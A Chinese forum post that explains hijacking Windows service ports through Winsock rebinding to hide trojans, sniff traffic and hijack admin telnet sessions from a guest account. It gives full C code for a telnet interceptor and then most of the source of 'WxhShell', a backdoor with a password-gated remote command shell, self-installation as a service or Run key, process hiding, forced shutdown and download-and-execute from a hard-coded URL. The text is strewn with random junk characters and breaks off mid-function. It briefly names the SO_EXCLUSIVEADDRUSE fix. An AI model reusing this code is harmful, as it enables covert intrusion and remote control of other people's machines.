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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zOB=aG?/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X3B{8qx_>  
 'Cc(3  
  saddr.sin_family = AF_INET; d8OL!Rk  
ROdK8*jL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _^\$" nw  
v>m n/a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XUmR{A  
v(O=IUa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lddp^ #f  
cdTsRS;E  
  这意味着什么?意味着可以进行如下的攻击: |B^G:7c  
Vmi{X b]<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~uj;qq  
ln<]-)&C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6rX_-Mm6w  
s>%Pd7:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T ):SGW  
1RqgMMJL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,t,wy37*D  
k;Fh4Hv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \40 YGFO  
&.N $  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r;m`9,RW  
p#@Z$gTH`'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O#_b7i  
shgAhx  
  #include `xz&Scil  
  #include yL1CZ_  
  #include 2]WE({P  
  #include    ?c#$dc"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,pt%) c  
  int main() M+xdHBg  
  { R_kQPP  
  WORD wVersionRequested; BfmsMW  
  DWORD ret; k6**u  
  WSADATA wsaData; :i*JnlvZ  
  BOOL val; )=^w3y  
  SOCKADDR_IN saddr; ry0%a[[  
  SOCKADDR_IN scaddr; 9uYyfb: ,z  
  int err; A6"Hk0Hf  
  SOCKET s; }Je>;{&%  
  SOCKET sc; :}q\tNY<  
  int caddsize; \a|L/9%  
  HANDLE mt; pq! %?m]  
  DWORD tid;   ,k0r  
  wVersionRequested = MAKEWORD( 2, 2 ); N_DT7  
  err = WSAStartup( wVersionRequested, &wsaData ); ZafboqsDL  
  if ( err != 0 ) { +R.N%_  
  printf("error!WSAStartup failed!\n"); p{Sh F.  
  return -1; ?mYYt]R  
  } " I+p  
  saddr.sin_family = AF_INET; ofdZ1F  
   6}dR$*=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p>*i$  
P?ep]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +K$NAT  
  saddr.sin_port = htons(23); C)RBkcb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e@]Wh)  
  { x?yD=Mq_  
  printf("error!socket failed!\n"); XbXA+ey6  
  return -1; G^Tk 20*  
  } W/+K9S25  
  val = TRUE; =o=1"o[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kQv*eZ~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !Pj/7JC0  
  { TMVryb  
  printf("error!setsockopt failed!\n"); }5 9U}@xC  
  return -1; yL1bS|@  
  } Bl;KOR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C+V* Fh3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bGXR7u&K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `\Unpp\I  
s8gU7pT49  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 53OJ-m%a  
  { V'gw\mcb  
  ret=GetLastError(); 3f76kl(&  
  printf("error!bind failed!\n"); 6][1 <}8  
  return -1; *nTU# U  
  } -9Ws=r0R  
  listen(s,2); /VTM 9)u  
  while(1) y 'M#z_.z  
  { ANMg  
  caddsize = sizeof(scaddr); ~H /2R  
  //接受连接请求 \h{r;#g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |M~ON=  
  if(sc!=INVALID_SOCKET) PX,rWkOce  
  { sz95i|@/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /SR^C$h'I  
  if(mt==NULL) <,1 fkq>,  
  { C;rG]t^%  
  printf("Thread Creat Failed!\n"); KFWJ}pNq  
  break;  _^t-9  
  } {G i h&N  
  } z3 ?\:Yz  
  CloseHandle(mt); `NNf&y)y  
  } )Hw:E71h2  
  closesocket(s); RMXzU  
  WSACleanup(); yJJ4~j){l  
  return 0; EeQ5vqU  
  }   w~\%vXla  
  DWORD WINAPI ClientThread(LPVOID lpParam) JBX[bx52<r  
  { QLq@u[A  
  SOCKET ss = (SOCKET)lpParam; 8Jr?ZDf`  
  SOCKET sc; 8<#U9]  
  unsigned char buf[4096]; rR{,)fX;  
  SOCKADDR_IN saddr; 4sF v?W  
  long num; pBJAaCGm  
  DWORD val; tiaR4PB  
  DWORD ret; L/r@ S'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {padD p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `$R A< 3  
  saddr.sin_family = AF_INET; e$/B_o7(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lPP,`  
  saddr.sin_port = htons(23); zA+@FR?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !]?$f=  
  { P\R27Jd  
  printf("error!socket failed!\n"); tpf7_YP_!-  
  return -1; +C{p%`<  
  }  z01>'  
  val = 100; (!K_Fy@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Oe]&(  
  { E+xuWdp.*  
  ret = GetLastError(); pw020}`  
  return -1; K\.5h4k  
  } $p* p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3`V1XE.;  
  { O/Y)&VG7  
  ret = GetLastError(); (M-ZQ -  
  return -1; z4U9n'{  
  } OEgI_= B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) le>Wm&E  
  { h 8 @  
  printf("error!socket connect failed!\n"); @9G- m(?*  
  closesocket(sc); kJK,6mN  
  closesocket(ss); 2 YxTMT  
  return -1; y&J@?Hc>  
  } $ 0Yh!L?\  
  while(1) 6tjcAsV  
  { :os z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !dcwq;Ea  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p9ZXbAJ{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7S^""*Q^  
  num = recv(ss,buf,4096,0); tykB.2f  
  if(num>0) FH5ql~  
  send(sc,buf,num,0); .m4;^S2cO  
  else if(num==0) [w \?j,  
  break; GUB`|is^  
  num = recv(sc,buf,4096,0); u' Qd,  
  if(num>0) # '|'r+  
  send(ss,buf,num,0); B5am1y{P#  
  else if(num==0) .V'V:;BE%  
  break; C 'mL&  
  } H}0dd"  
  closesocket(ss); u=+q$Q]  
  closesocket(sc); ,w)p"[^b  
  return 0 ; ,d,\-x-+/  
  } $a;]_Y  
alFjc.~}  
;GHvPQc_  
========================================================== hq>Csj==@  
JcO08n  
下边附上一个代码,,WXhSHELL i, nD5 @#  
VDEv>u4  
========================================================== T)CzK<LbR  
y6HuN  
#include "stdafx.h" `(4pu6uT  
XR+3j/zEQ  
#include <stdio.h> J]/}ojW3  
#include <string.h> V~{ _3YY  
#include <windows.h> _sHK*&W{CT  
#include <winsock2.h> Zf*r2t1&P  
#include <winsvc.h> ,2[ra9n  
#include <urlmon.h> N]/!mo?  
|I8Mk.Z=FA  
#pragma comment (lib, "Ws2_32.lib") /i|z.nNO  
#pragma comment (lib, "urlmon.lib") ': F}3At  
Fw4*  
#define MAX_USER   100 // 最大客户端连接数 8Z#j7)G  
#define BUF_SOCK   200 // sock buffer eARk QV  
#define KEY_BUFF   255 // 输入 buffer ZDLMMX x>  
Bd0eC#UGkQ  
#define REBOOT     0   // 重启 D #2yIec  
#define SHUTDOWN   1   // 关机 zri} h/{  
/M0/-pV 9  
#define DEF_PORT   5000 // 监听端口 N> Jw  
zzpZ19"`1  
#define REG_LEN     16   // 注册表键长度 ^+70<#Xc  
#define SVC_LEN     80   // NT服务名长度 " BTE  
F 8yF  
// 从dll定义API %oykcf,#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p QE)p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P @% .`8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y&T&1o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8s}J!/2  
zi]%Zp  
// wxhshell配置信息 +RZ~LA \+  
struct WSCFG { =ZYThfAEw  
  int ws_port;         // 监听端口 N"5fmY<  
  char ws_passstr[REG_LEN]; // 口令 +54aO  
  int ws_autoins;       // 安装标记, 1=yes 0=no VkmRh,T  
  char ws_regname[REG_LEN]; // 注册表键名 D@Da0  
  char ws_svcname[REG_LEN]; // 服务名 pNaiXu3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y0uvT7+[hi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ` vk0c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7G2PMe;$m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \y Hen|%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *U7 %|wd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3-Bl  
T8J4C=?/  
}; haSM=;uPM  
Z)< wv&K  
// default Wxhshell configuration Q%ad q-B  
struct WSCFG wscfg={DEF_PORT, 5OLQw(E  
    "xuhuanlingzhe", ReB7vpd  
    1, F}?<v8#z0  
    "Wxhshell", x4?10f(9=  
    "Wxhshell", o3Ot.9L  
            "WxhShell Service", }U 5Y=RYo  
    "Wrsky Windows CmdShell Service", {[G`Z9]z&-  
    "Please Input Your Password: ", {5Lj8 N5  
  1, 6.Ie\5-a;  
  "http://www.wrsky.com/wxhshell.exe", &]p}+{ (>  
  "Wxhshell.exe" ".2K9j7$  
    }; s'I)A^i+  
V-W'RunnW  
// 消息定义模块 L^Wz vv]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D> ef  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2OBfHO~D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s&PM,BFf  
char *msg_ws_ext="\n\rExit."; |w&~g9   
char *msg_ws_end="\n\rQuit."; cSD{$B:  
char *msg_ws_boot="\n\rReboot..."; 93%{scrm  
char *msg_ws_poff="\n\rShutdown..."; <-C!;Ce{  
char *msg_ws_down="\n\rSave to "; B&KL2&Z~Pq  
{ShgJ ;! Q  
char *msg_ws_err="\n\rErr!"; mB 55PYA  
char *msg_ws_ok="\n\rOK!"; 3Kq`<B~%  
\{|ImCH  
char ExeFile[MAX_PATH]; x-m/SI]_N  
int nUser = 0; _2Py\+$  
HANDLE handles[MAX_USER]; OKue" p  
int OsIsNt; sRRI3y@  
|H)cuZ  
SERVICE_STATUS       serviceStatus; Mhpdaos  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; , |E$'  
^QL 877  
// 函数声明 -AD2I {C  
int Install(void); |Fln8wB  
int Uninstall(void); C".1+Um  
int DownloadFile(char *sURL, SOCKET wsh); fib#CY  
int Boot(int flag); *:"^[Ckc  
void HideProc(void); ? 5|/ C  
int GetOsVer(void); 2ypIq  
int Wxhshell(SOCKET wsl); ISqfU]>[  
void TalkWithClient(void *cs); $ @1u+w  
int CmdShell(SOCKET sock); $~u.Wq  
int StartFromService(void); }uO5q42  
int StartWxhshell(LPSTR lpCmdLine); = 7/-i  
L4' [XcY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [Eq<":)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d "<F!?8  
[s6C ZcL  
// 数据结构和表定义 7!4V >O8@  
SERVICE_TABLE_ENTRY DispatchTable[] = >.%4~\U  
{ Epjff@ 7A  
{wscfg.ws_svcname, NTServiceMain}, ! p.^ITM3S  
{NULL, NULL} L:f)i,S"5q  
}; mV\$q@sII  
e- 6w8*!i  
// 自我安装 Q+[ .Y&  
int Install(void) &y. dmW  
{ a-0cN 9  
  char svExeFile[MAX_PATH]; C8b''9t.  
  HKEY key; [1Dm<G u@  
  strcpy(svExeFile,ExeFile); MWwJzVL8  
3(_!`0#F%  
// 如果是win9x系统,修改注册表设为自启动 )iE"Tl  
if(!OsIsNt) { BSUPS+@+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T_hV%   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !C&%T]  
  RegCloseKey(key); Z5)eREi=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R 1zC.m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7>.OVh<  
  RegCloseKey(key); ! q6hC  
  return 0; `lCuU~~ag  
    } I0w%8bs  
  } Gp2!xKgm  
} ^X1wI9V  
else { &d^=s iL  
%$X\"  
// 如果是NT以上系统,安装为系统服务 Xa,&ef&q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^X? D#\  
if (schSCManager!=0) Ie_I7YJ  
{ y?:dE.5p|  
  SC_HANDLE schService = CreateService *8A6Q9YT  
  ( /^<en(0=P  
  schSCManager, BQrL7y  
  wscfg.ws_svcname, o}D![/  
  wscfg.ws_svcdisp, *@M3p}',M  
  SERVICE_ALL_ACCESS, %J P!{mqj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Da,Tav%b  
  SERVICE_AUTO_START, "kSwa16O  
  SERVICE_ERROR_NORMAL, d<T%`:s<  
  svExeFile, B@cz ?%]  
  NULL, rw u3Nb  
  NULL, *o4%ul\3Y|  
  NULL, J_"3UZ~&  
  NULL, {BOLP E-  
  NULL 3wt  
  ); (2txM"Dja  
  if (schService!=0) rK=6]j(K  
  { Ye |G44z  
  CloseServiceHandle(schService); Q<=Y  
  CloseServiceHandle(schSCManager); O% $O(l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :JV\){P  
  strcat(svExeFile,wscfg.ws_svcname); KTmaglgp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CT"Fk'B'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WYO\'W  
  RegCloseKey(key); OgMI  
  return 0; lX;mhJj!  
    } MUwVG>b8J~  
  } AzjMv6N   
  CloseServiceHandle(schSCManager); e-6(F4  
} [m#NfA:h,  
} #5{sglC"|F  
j%xBo:  
return 1; Bw-s6MS  
} K2|7%  
&oN/_7y  
// 自我卸载 42@a(#z(U  
int Uninstall(void) fValSQc!U  
{ $ I<|-]u  
  HKEY key; uPU#c\  
d]7*mzw^j  
if(!OsIsNt) { >d%VDjk .  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M,..Kw/ }~  
  RegDeleteValue(key,wscfg.ws_regname); l%PnB )F  
  RegCloseKey(key); %$9:e J?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wZ>Y<0,  
  RegDeleteValue(key,wscfg.ws_regname); =J3`@9;  
  RegCloseKey(key); ,cQA*;6  
  return 0; w%u5<  
  } n-OWwev)  
} .<w)Bmh  
} !sK#zAR2  
else { DQ_ 2fX~)  
!R{em48D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AU`OESSI  
if (schSCManager!=0) 7A0dl}:  
{ O5MDGg   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hAAUecx  
  if (schService!=0) U.Hdbmix  
  { fI}c 71b`  
  if(DeleteService(schService)!=0) { %!wq:~B1  
  CloseServiceHandle(schService); &;U|7l~vl  
  CloseServiceHandle(schSCManager); <9N4"d !A  
  return 0; 5"2@NL  
  } $jcz?vH  
  CloseServiceHandle(schService); k~|ZO/X@l%  
  } g RU-g  
  CloseServiceHandle(schSCManager); gV`S%   
} npj5U/  
} 88YC0!Ni  
'FxYMSZS$  
return 1; BvJ\x)  
} ^0eO\wc?O  
}K;iJ~kD1  
// 从指定url下载文件 -x?Hj/  
int DownloadFile(char *sURL, SOCKET wsh) D(@SnI+  
{ \E&thp  
  HRESULT hr; JP%RTGu  
char seps[]= "/"; jrcc  
char *token; Rk{$S"8S_  
char *file; T>5wQYh$'  
char myURL[MAX_PATH]; `skH-lk,  
char myFILE[MAX_PATH]; %IU4\ZY>  
5~yQ>h  
strcpy(myURL,sURL); d'q&Lq  
  token=strtok(myURL,seps); "c EvFY  
  while(token!=NULL) 8J^d7uC  
  { +7^w9G  
    file=token; At|h t  
  token=strtok(NULL,seps); tnJ`D4  
  } N.vG]%1"  
(xQI($Wq*M  
GetCurrentDirectory(MAX_PATH,myFILE); fv/v|  
strcat(myFILE, "\\"); -s33m]a;  
strcat(myFILE, file); <>?^4NC<M  
  send(wsh,myFILE,strlen(myFILE),0); L:^Y@[f  
send(wsh,"...",3,0); x3_,nl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); . Nk6  
  if(hr==S_OK) BArJ"t*/z  
return 0; wRj~Qv~E  
else 0@w&J9yG  
return 1; =xoBC&u  
 HFv?s  
} u{pTva  
YpiRF+G  
// 系统电源模块 *.,8,e8Vq  
int Boot(int flag) E s:5yX!  
{ ~Ji>[#W K  
  HANDLE hToken; WQTendS  
  TOKEN_PRIVILEGES tkp; 63SVIc~wT  
V"BVvSNu  
  if(OsIsNt) { uiuTv)pwF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -$b?rt]h1g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l#mtND3  
    tkp.PrivilegeCount = 1; vW9^hbdx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W;5N04ko  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bk@bN~B4  
if(flag==REBOOT) { #T Z!#,q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7%W!k zp>  
  return 0; zkH<aLRB  
} bL+sN"Km  
else { #3YdjU3w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w"yK\OE  
  return 0; NT'Ie]|  
} O^y$8OKEi,  
  } 0qOM78rE  
  else { b$IY2W<Ln  
if(flag==REBOOT) { kg zwlKK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CzK%x?~]  
  return 0; K@I+]5E%?  
} X5|?/aR}  
else { "pR $cS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <<i=+ed8eP  
  return 0; >qr=l,Hi  
} F>p%2II/  
} hU |LFjc  
}o~Tw?z-|  
return 1; ,^Ex}Z  
} ))c*_n  
:Xb*m85y  
// win9x进程隐藏模块 :/ ~):tM  
void HideProc(void) v\J!yz  
{ 9c#L{in  
D-;J;m \  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AviT+^7E  
  if ( hKernel != NULL ) Kv(Y }  
  { 3xc:Y> *`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0^-z?Kb<}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mm3zQ!2j.  
    FreeLibrary(hKernel); =9#i<te  
  } T]5U_AI@  
Lx9hq7<  
return; ,oy4V^B&  
} T[`QO`\5O  
V*0Y_T{_  
// 获取操作系统版本 {9y9Kr|(P:  
int GetOsVer(void) NHst7$Y<  
{ +# m   
  OSVERSIONINFO winfo; F[Qsv54  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C6Um6 X9/i  
  GetVersionEx(&winfo); ZS07_6.~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rt*-#`I $  
  return 1; eW<!^Aer  
  else E;ndw/GZjR  
  return 0; (\5<GCW-  
} Lx|w~+k}  
pmE1EDPag  
// 客户端句柄模块 Nj! R9N  
int Wxhshell(SOCKET wsl) ZYpD8u6U  
{ h+\$ Z]  
  SOCKET wsh; Ke'YM{  
  struct sockaddr_in client; oY| (M_;  
  DWORD myID; yTMGISX5  
?)i6:76(  
  while(nUser<MAX_USER) h9@gs,'   
{ p8 E;[  
  int nSize=sizeof(client); So3,Z'z=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D| 3AjzW  
  if(wsh==INVALID_SOCKET) return 1; ?#');`  
oZ|{J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w+:+r/!g  
if(handles[nUser]==0) #)Id J]  
  closesocket(wsh); f?oI'5R41  
else B$iMU?B3  
  nUser++; fh/)di  
  } wFH(.E0@Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y0W`E/1t  
(5CX*)R  
  return 0; IWSEssP  
} av$\@4I  
#dXZA>b9  
// 关闭 socket  @=^jpSnZ  
void CloseIt(SOCKET wsh) vCrWA-q#  
{ vM$#m1L?  
closesocket(wsh); Xqq?S  
nUser--; 2n\i0?RD  
ExitThread(0); 9 ;! uV>-H  
} ** "s~  
\n('KVbf  
// 客户端请求句柄 JN9HT0  
void TalkWithClient(void *cs) $txWVjR?\  
{ *HfW(C$  
DXw9@b  
  SOCKET wsh=(SOCKET)cs; }sm56}_  
  char pwd[SVC_LEN]; 3n=cw2FG  
  char cmd[KEY_BUFF]; et7T)(k0  
char chr[1]; 4%Wn}@  
int i,j; h_}BmJh_  
Amq8q  
  while (nUser < MAX_USER) { KH CdO  
M 2U@gC|{  
if(wscfg.ws_passstr) { IT{.^rP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iKCTYXN1(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .,(uoK{  
  //ZeroMemory(pwd,KEY_BUFF); c"_H%x<[  
      i=0; +RKE|*y  
  while(i<SVC_LEN) { o Q!g!xz  
uc{Qhw!;:  
  // 设置超时 R&d_ WB4w  
  fd_set FdRead; }@t'rK[  
  struct timeval TimeOut; i(TDJ@}  
  FD_ZERO(&FdRead); tI6USN%  
  FD_SET(wsh,&FdRead); }G0.Lq+a  
  TimeOut.tv_sec=8; Q{)F$]w  
  TimeOut.tv_usec=0; jTxChR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A/W7 ;D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {e!uvz,e  
HhT8YH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y_TL4  
  pwd=chr[0]; &bRxy`ZH  
  if(chr[0]==0xd || chr[0]==0xa) { % /wP2O<  
  pwd=0; 0zk T8'v  
  break; c&iK+qvh{  
  } 4FP~+  
  i++; AfbA.-  
    } R2Fh^x  
clU3#8P!=  
  // 如果是非法用户,关闭 socket 9jJ/ RXp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EIl$"^-  
} >@92K]J  
w1/T>o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =<27qj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RHA>fXp  
WSX@0A.&)  
while(1) {  z]R!l%`  
U Edl"FwM4  
  ZeroMemory(cmd,KEY_BUFF); 3qwYicq,  
F(kRAe;  
      // 自动支持客户端 telnet标准   %2FCpre;  
  j=0; ?tM].\  
  while(j<KEY_BUFF) { DcvmeGl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ():?FJ M  
  cmd[j]=chr[0]; 5In8VE !P  
  if(chr[0]==0xa || chr[0]==0xd) { GzE3B';g  
  cmd[j]=0; vd X~E97  
  break; D_;n4<|.  
  } jH#^O ;A  
  j++; Wy-quq03"&  
    } jgfP|oD  
"rlSK >`  
  // 下载文件 R@{/$p:  
  if(strstr(cmd,"http://")) { zk_hDhg&'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -W"0,.Dvg  
  if(DownloadFile(cmd,wsh)) x~Esu}x7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e, 3(i!47  
  else F/,<dNJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;<ma K*f\S  
  } d+| ! 6  
  else { +!Gr`&w*)  
eX),B  
    switch(cmd[0]) { b.u8w2(  
  2ZIY{lBe  
  // 帮助 {~{s=c0  
  case '?': { f0'Wq^^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /xbF1@XtL  
    break; ;. [$  
  } *Zo o  
  // 安装 |~vQ0D  
  case 'i': { ~m=%a  
    if(Install()) }u*@b10   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YD>>YaH_3@  
    else Nk~dfY<s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~;4k UJD  
    break; +W3>Yg%)X  
    } 5x'y{S<  
  // 卸载 9%k.GE  
  case 'r': { OU5|m%CmO  
    if(Uninstall()) T1]X   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vrldRn'*9  
    else >Ezwl5b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rm 1`D  
    break; CO+jB  
    } .7^-*HT}  
  // 显示 wxhshell 所在路径 1X}Tp\e  
  case 'p': { 93eqFCF.  
    char svExeFile[MAX_PATH]; 8 =Lv7G%  
    strcpy(svExeFile,"\n\r"); 40sLZa)e  
      strcat(svExeFile,ExeFile); P+|8MT0  
        send(wsh,svExeFile,strlen(svExeFile),0); J7] 60H#P  
    break; #.t{g8W\C  
    } ^"#rDP"v  
  // 重启 :NyEd<'  
  case 'b': { YD.^\E4o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :|mkI#P.  
    if(Boot(REBOOT)) ~F6gF7]z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4gNRln-  
    else { ~,65/O  
    closesocket(wsh); 6OW-Dif^AG  
    ExitThread(0); JX<W[P>M  
    } n^)9QQ  
    break; %4KJ&R (>[  
    } *w,gi.Y3  
  // 关机 T1di$8  
  case 'd': { PGhZ`nl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !27]1%Aw  
    if(Boot(SHUTDOWN)) ll09j Ef  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F|K4zhK  
    else { 25[/'7_"  
    closesocket(wsh); ?a9k5@s  
    ExitThread(0); `5&V}"lB  
